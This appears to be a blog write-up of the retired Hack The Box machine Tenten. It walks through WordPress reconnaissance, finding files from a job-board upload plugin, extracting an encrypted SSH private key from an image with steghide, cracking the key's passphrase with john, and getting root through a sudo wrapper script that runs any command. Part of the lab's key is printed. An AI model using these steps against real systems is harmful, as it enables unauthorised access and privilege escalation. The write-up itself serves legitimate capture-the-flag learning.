HacktheBox.eu - Retired - Tenten
Recon
As always I start with a staged scan, just a simple up/down scan on all TCP ports
Nmap -T4 -p- -oX /root/Desktop/HTB/Tenten/nmapb.xml
Then convert that to HTML to make it pretty
# xsltproc /root/Desktop/HTB/Tenten/nmapb.xml -o /root/Desktop/HTB/Tenten/nmapb.html
Just ports 22 and 80 open, let's do another scan with just those two ports but add -A to finger OS/Services
# nmap -T4 -A -p22,80 -oX /root/Desktop/HTB/Tenten/nmapf.xml 10.10.10.10
Then convert that to HTML too
# xsltproc /root/Desktop/HTB/Tenten/nmapf.xml -o /root/Desktop/HTB/Tenten/nmapf.html
Let's recap here
Looks like a Linux box running
Apache 2.4.18 on Port 80
And OpenSSH on port 22
Let's browse to the webpage and see what we see.
A basic webpage using wordpress
Also found this login page pretty quickly
Let's run Dirb to see what else we might find
Dirb http://10.10.10.10
Here is a sampling of what Dirb found
---- Scanning URL: http://10.10.10.10/ ----
+ http://10.10.10.10/.bashrc (CODE:200|SIZE:3771)
==> DIRECTORY: http://10.10.10.10/.cache/
+ http://10.10.10.10/.profile (CODE:200|SIZE:655)
+ http://10.10.10.10/index.php (CODE:301|SIZE:0)
+ http://10.10.10.10/server-status (CODE:403|SIZE:299)
==> DIRECTORY: http://10.10.10.10/wp-admin/
==> DIRECTORY: http://10.10.10.10/wp-content/
==> DIRECTORY: http://10.10.10.10/wp-includes/
+ http://10.10.10.10/xmlrpc.php (CODE:405|SIZE:42)
Since this is word press let's also run wpscan against it to see if we can get some more data points
# wpscan --url http://10.10.10.10 --api-token**redacted***
Ubuntu and Apache 2.4.18, which matches what nmap found for us earlier
Wpscan says there are 41 vulns on this site.
This one looks interesting there is a plugin called Job Manager which allows word press to be a job listing site that users can apply to jobs with.
Here it is live on the site, guess what all job application boards allow you to do…. Upload your resume(CV).. I wonder if we can use this to get shell on this box.. Let's try
Exploit
OK let's try and leverage the resume upload function to see if we can get reverse shell.
This site explains that we should be able to upload a file and guess the directory it lives in.
I'm just uploading a test jpg file to see if we can correctly guess the upload location.
This site gives a different directory to try to find our upload.
Instead of
"http(s)://<wp-host>/<wp-path>/wp-content/uploads/job-manager-uploads/company_logo/<Year/month>/<your-file-name>"
We found our file at
There is our evil hackerman, so now we know we can use the upload resume function to place files on the server.
Cool let's see if we can find any other job listings
We can see here at the top in the URL for the posting that is up is a 8 I assume that is a posting number
So I changed it from an 8 to a 2 for testing
Here you can see a snipet from posting 8
And here is posting 2
So it is a different posting and it's just an index for job postings. Lets see if we can find any other job postings that might be interesting.
I'm going to use burp to do a simple intruder attack to loop through the first 30 postings.
So first I just capture a request in burp
And then send that over to intruder
Then I select the part I want to use for my variable
And click add
So now burp know the position of the variables i'm going to supply
I just added the numbers 1 through 30 here in the payload options and hit Start attack
Here are the results of our attack, we can see we got a 200 response from everything we threw at it, we can see the title of the page change as we click through the list.
And I see something interesting in posting 13
Hacker Access Granted huh? Let's pull that up and see what we see
I wonder if there are any more files in the uploaded section that might help us on this box
I loaded up dirbuster and selected the dirbuster small list to look for pdf,doc,html,xml,bak,jpg,php
Pretty quickly it found my index.jpgl that I uploaded earlier and another directory
2017/04 exists so there must be a file in that directory. We know from trying to upload a .ps1 file that they have restrictions on what type of file can be uploaded
So I'm thinking pdf,doc,html,jpg
nothing
Well the title of the page in question was HackerAccessGranted. I'm just going to try that manually with the different extensions.
No pdf
No doc
Oooooh a jpg access granted…
Let's download it and see if there is any stego in here.
root@kali:~/Desktop/HTB/Tenten# steghide extract -sf ./HackerAccessGranted.jpg
Enter passphrase:
wrote extracted data to "id_rsa".
I extracted something with no password given….. id_rsa
Let's see what is in there
root@kali:~/Desktop/HTB/Tenten# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C
/HXcUBOT3JhzblH7uF9Vh7faa76XHIdr/Ch0pDnJunjdmLS/laq1kulQ3/RF/Vax
tjTzj/V5hBEcL5GcHv3esrODlS0jhML53lAprkpawfbvwbR+XxFIJ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oHDk4yd50RlzznkPna74r
Xbo9FdNeLNmER/7GGdQARkpd52Uur08fIJW2wyS1bdgbBgw/G+puFAR8z7ipgj4W
p9LoYqiuxaEbiD5zUzeOtKAKL/nfmzK82zbdPxMrv7TvHUSSWEUC4O9QKiB3amgf
yWMjw3otH+ZLnBmy/fS6IVQ5OnV6rVhQ7+LRKe+qlYidzfp19lIL8UidbsBfWAzB
9Xk0sH5c1NQT6spo/nQM3UNIkkn+a7zKPJmetHsO4Ob3xKLiSpw5f35SRV+rF+mO
vIUE1/YssXMO7TK6iBIXCuuOUtOpGiLxNVRIaJvbGmazLWCSyptk5fJhPLkhuK+J
YoZn9FNAuRiYFL3rw+6qol+KoqzoPJJek6WHRy8OSE+8Dz1ysTLIPB6tGKn7EWnP
-----END RSA PRIVATE KEY-----
We got a private key, this box has ssh let's see if we can get in with this
There is a passphrase… no worries we can get rid of that using john and ssh2john
First let's format it in a way that john likes using ssh2john
# python ./ssh2john.py /root/Desktop/HTB/Tenten/id_rsa > /root/Desktop/HTB/Tenten/id_rsajohn
Now we can feed it into john
# john --wordlist=/usr/share/wordlists/rockyou.txt --format=SSH /root/Desktop/HTB/Tenten/id_rsajohn
superpassword (/root/Desktop/HTB/Tenten/id_rsa)
Got past the ssh private key but not the admin using this password
Let's try to enumerate users, wpscan
# wpscan --url http://tenten.htb --enumerate u
[i] User(s) Identified:
[+] takis
Okay can we ssh as takis?
We sure can!
Let's get that user flag
takis@tenten:~$ cat user.txt
e5c7******************************
One of the first things I like to do is check what sudo permissions we might have
takis@tenten:~$ sudo -l
(ALL) NOPASSWD: /bin/fuckin
Ok what is in that file?
takis@tenten:~$ cat /bin/fuckin
#!/bin/bash
$1 $2 $3 $4
It looks like is just bash that accepts variables after the command
Lets see if we can cat out user.txt using this
$ sudo /bin/fuckin cat /home/takis/user.txt
e5**************************************
Yup, what about root.txt
sudo /bin/fuckin cat /root/root.txt
f9f******************************
Wow that was a quick grab.
That was fun
Comments
Post a Comment